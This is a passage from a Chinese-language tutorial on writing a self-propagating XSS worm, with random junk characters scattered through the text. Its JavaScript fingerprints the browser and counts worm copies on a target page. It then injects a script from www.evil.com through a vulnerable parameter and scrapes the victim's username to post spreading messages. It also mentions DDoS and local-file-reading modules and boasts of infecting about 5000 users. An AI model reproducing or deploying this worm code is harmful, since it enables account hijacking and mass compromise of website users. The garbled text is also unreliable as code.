% l1 Z$ H' J7 B% n, x w Actual_Name="Opera";+ z7 k. k! N2 ~# W# L9 i3 A$ E
: Y- g1 Y# ?+ @: _3 M1 v, D9 ?
var tempstart=Browser_Agent.indexOf("Opera");4 `1 F2 [, K6 ?$ b7 Z% ?" K
; e( l/ L5 y0 V& @
var tempend=Browser_Agent.length; q; r# ~6 a: @# N* F$ i% h" p- y5 h
/ N, W' W' @$ h& F8 v Actual_Version=Browser_Agent.substring(tempstart+6,tempend): }7 c( i0 Y8 h& v4 J: t
$ j, B+ b: |) T2 _ }) j/ |6 b& d% m( m
: \6 M+ j* P4 q& @5 N. f
}/ F* B$ S Q% ]9 n
/ a7 q1 _2 q; D/ k' g; a3 X5 k5 A
else{
- y8 z6 E8 @( n( e- x3 U; M
* T; L% o. P7 l4 X% i Actual_Name="Unknown Navigator"2 T$ A! x# y4 v! d+ n A8 e! v, n
9 N( J& ^' X; D- i3 v
Actual_Version="Unknown Version"
4 `0 {( r: P/ P% a) }9 f: V5 e5 v6 P; M0 P3 t! s
}
% B- `2 C" X! v3 t( W( r! ?# C- N+ h- {9 g2 j# i8 c
a. N6 r6 l' ], o
& g D9 Q/ m8 V' I# F navigator.Actual_Name=Actual_Name;+ ?6 ?, u$ d+ U: L+ _3 \) `* ~
7 P) S0 h' Y5 b0 G navigator.Actual_Version=Actual_Version;( m2 d3 A c5 x& ?1 z
: p% ~9 @8 ? |' B' w A, c
* w# [7 n D; l+ c( e- c/ m5 v8 s$ h; J, j c8 W
this.Name=Actual_Name;; {, t* K* W, g+ m# ~" P$ E: G
. @6 [8 j- ~( m! Q0 r% A0 F this.Version=Actual_Version;
3 P J. g& A* I! q+ T8 |$ ~ R4 x i3 Y+ n* m$ F: _
}4 w) ]- F( G/ Z6 l+ q3 B# g9 J
# `4 B* b, |! Y" Z browserinfo();
( k) @) W' S |, g/ K5 d. f: E [1 v' x3 q. s
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}& N4 J: r3 p2 W5 f
1 B* d0 m7 \, o4 Y: X4 j3 _
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
% M. p# r% \. T' B$ U
- j9 E1 P, @, d4 ] if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
, D% _, ]$ \- I% N5 T2 ~, S
9 s* {( P% B1 T5 b! S+ K. Y if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}3 D2 e5 d; I1 p
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码; M% [/ l0 p2 `6 a$ q
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
. w0 c+ g4 L7 Y+ Q& }' n" O ^复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.9 I1 G" F+ e0 ~4 L
h7 M* E% X+ N. i( ], d
xmlHttpReq.send(null);2 `* H7 [& Q F- E9 r
% ?; L1 L) C; {4 d* l
var resource = xmlHttpReq.responseText;
8 T+ y" x% o0 ] Y4 R7 t% B- J9 E
var id=0;var result;% p+ a) R- M8 q4 x$ |
, u, d6 j" ~1 T+ k; G7 A
var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
6 Q) _7 E8 K4 _3 }1 E- s T$ y6 t# [' Z/ o# u$ s" g" Q, J3 B6 v8 p# i: O
while ((result = patt.exec(resource)) != null) {
* _7 R# Q$ _/ {
7 y2 Z( w( e4 y) U6 Kid++;
$ b8 o- U; z/ O+ q1 C# a6 k! r0 R; F- b
}
$ w+ V% {" K) M复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.2 P L) K* {3 r; O4 R, h
7 ~, t1 }0 ?/ j0 Q J6 l
no=resource.search(/my name is/);* o. w) t8 `3 r& r, z+ o* \$ c
+ i* O l* i/ Y3 v! ^( H$ xvar wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.$ L+ e0 B. V$ V! A
2 L6 {" @3 V9 F: J' Pvar post="wd="+wd;
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");* i% ^; J0 e- v& w0 `/ s9 r* _! [
) U9 _: H7 s& u. ^9 }8 ?xmlHttpReq.setRequestHeader("content-length",post.length);
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% Q' N& ?$ p6 a8 SxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");! S: X9 N" a D9 _
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xmlHttpReq.send(post);$ S3 p+ m3 l/ t% p) B1 F# q
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复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{9 C2 B9 p H/ i u2 E
* y: a* C7 s# H; pvar no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方8 Y4 I/ d8 _+ V5 M
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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.$ n- k. z( c4 Z0 y
$ f- E, E* @ [! t5 gvar wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.* {4 G3 m# b* A. v: n% y
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var post="wd="+wd;
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! }( F- u9 ?8 `0 z1 VxmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);' Z9 W& Q7 ]; e
" m" ~. q8 R2 n( Q& m- CxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");! ~* g5 A+ q3 p6 C
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xmlHttpReq.setRequestHeader("content-length",post.length); ) {2 M$ E0 D D6 l/ E) E& R
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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8 A7 }+ V: k7 [5 m4 s5 x% u$ ?: u, X! lxmlHttpReq.send(post); //把传播的信息 POST出去.
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9 Y. N" R# C" `$ Q复制代码-----------------------------------------------------总结-------------------------------------------------------------------( u4 c9 ]: u* b o# w
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+ ^4 w/ D2 C _5 I A本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
! R* z, S1 ^; p) p8 n0 Q& d蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
S' S5 \) M+ I7 ~操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
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. {) o4 G5 p6 {# ]2 Z) f. Y本文引用文档资料:; J$ c9 D# \# _
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"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
~ C8 l3 y( s9 _# `Other XmlHttpRequest tricks (Amit Klein, January 2003)
- A- a$ Y& e( H1 ?) m"Cross Site Tracing" (Jeremiah Grossman, January 2003)$ D) g/ W* q( q+ x
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
' B# t) c8 ~, M* I空虚浪子心BLOG http://www.inbreak.net
* e) {! _5 D a" W% { jXeye Team http://xeye.us/
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